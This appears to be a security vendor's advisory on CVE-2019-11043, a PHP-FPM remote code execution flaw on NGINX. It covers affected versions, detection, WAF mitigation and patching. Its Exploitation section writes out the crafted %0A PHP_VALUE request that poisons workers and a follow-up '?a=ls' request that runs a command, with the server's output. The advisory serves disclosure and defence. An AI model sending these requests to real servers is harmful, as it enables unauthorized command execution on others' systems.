PHP Remote Code Execution Vulnerability (CVE-2019-11043)

Certain versions of PHP 7 running on NGINX with php-fpm enabled can be vulnerable to the remote code execution vulnerability CVE-2019-11043.

Given the simplicity of the exploit, all web servers using the vulnerable version of PHP should be upgraded to non-vulnerable PHP versions as soon as possible. Because the vulnerability is limited to specific configurations, the number of vulnerable installations is smaller than it might be.

Qualys Web Application Scanning (WAS) will test for this vulnerability as long as QID 150270 is included in your scan. We recommend organizations immediately remediate all systems that are vulnerable. While you are getting ready to patch, you can easily deploy a virtual patch via pre-built templates in Qualys Web Application Firewall.

Remediation instructions are included below.

Vulnerability Scope & Details

PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 are vulnerable according to CVE-2019-11043.

After testing various combinations of PHP and server versions, we determined that only PHP 7 versions on NGINX servers with PHP-FPM, a FastCGI Process Manager for PHP, enabled are vulnerable. Our research and the details provided at https://bugs.php.net/bug.php?id=78599 indicate the vulnerability is due to code in fpm_main.c. The directive fastcgi_split_path_info is only enabled on NGINX servers, so no other servers are likely to be affected.

The RCE is possible in certain configurations of FPM setup where it is possible to cause the FPM module to write past allocated buffers into the space reserved for FCGI protocol data.

Exploitation

Attackers can execute system commands using crafted requests. Given the impact of the exploitation, it is very important to understand the vulnerability. First is about underflowing env_path_info with modified data, by sending a specifically crafted request (note the linefeed character, hex %0A, in the request) like below:

REQUEST

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: foo.domain.com
User-Agent: Mozilla/5.0

Typically, an attacker would run this request in a loop to infect as many workers as possible. Once compromised, any request targeting a simple short-named query-string parameter like “a” or “z” will allow triggering a command execution, as the parameter’s value will be executed on the system, which will cause more or less harm. That very request is very simple to trigger, but bear in mind it must be processed by an infected worker in order to be successful.

The following request triggers the RCE.

REQUEST

GET /script.php?a=ls HTTP/1.1
Host: foo.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

RESPONSE

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 28 Oct 2019 21:59:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.33dev
Content-Length: 35

index.nginx-debian.html
script.php

Detecting the Vulnerability with Qualys WAS

There are a few prerequisites for the vulnerability to be exploitable:

  • A vulnerable version of PHP is installed
  • The underlying server is NGINX
  • php-fpm is enabled

The simplest approach is to scan your applications for QID 150270 with Qualys Web Application Scanning to check if they are vulnerable.

Alternatively, follow the steps below to manually check if your applications are vulnerable:

1.  Check the version of the PHP your application via phpinfo.ini or command line.

  • phpinfo() function will give you details of the version as part of the Core information

  • you can manually run the following command on the server:
root@c3c5de5838b9:/var/www/html# php -v
PHP 7.1.33dev (cli) (built: Oct 28 2019 20:44:33) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies

2. Check the configuration of your php installation

  • phpinfo() function will give you details of the configuration:

  • you can manually run the following command on the server:
root@c3c5de5838b9:/var/www/html# php -i|grep fpm
Configure Command =>  './configure'  '--enable-fpm' '--without-pear'

Protection with Qualys WAF

If your organization is not able to upgrade their servers to non-vulnerable versions of PHP, you can take advantage of a pre-written rule in Qualys Web Application Firewall (WAF) to avoid being exploited.

Specifically, Qualys WAF mitigates CVE-2019-11043 using Qualys Generic Policies, primarily detecting RPO (Relative Path Overwrite via QID 226020) given the shape of the initial payload (linefeed hex %0A). Subsequent RCE against infected workers will trigger QID 226008 (RCE) along with QID 150011 (LFi). Thanks to the native, bidirectional integration, Qualys WAS is able to confirm the effectiveness of the mitigation by running QID 150270 and the ScanTrust feature against WAF.

Solution

Patch your systems. The vulnerability is fixed in PHP 7.2.24 and 7.3.11.

As a best practice, always launch scans with Qualys WAS after patching to ensure your servers are not vulnerable after upgrade. QID 150270 will be reported if your servers are still vulnerable.

Credits

The CVE entry was created in September 26, 2019:

Credit for the discovery goes to Wallarm security researcher, Andrew Danau. Andrew stumbled upon an unusual PHP script behavior while participating in Capture The Flag (CTF) which occurred September 14 – 16, 2019.

The vulnerability began to get attention following a tweet about the RCE on October 22 from Omar ‘Beched’ Ganiev, an experienced application security and penetration testing expert.

Qualys research identified that the vulnerability only affects NGINX servers where PHP-FPM is enabled.

Leave a Reply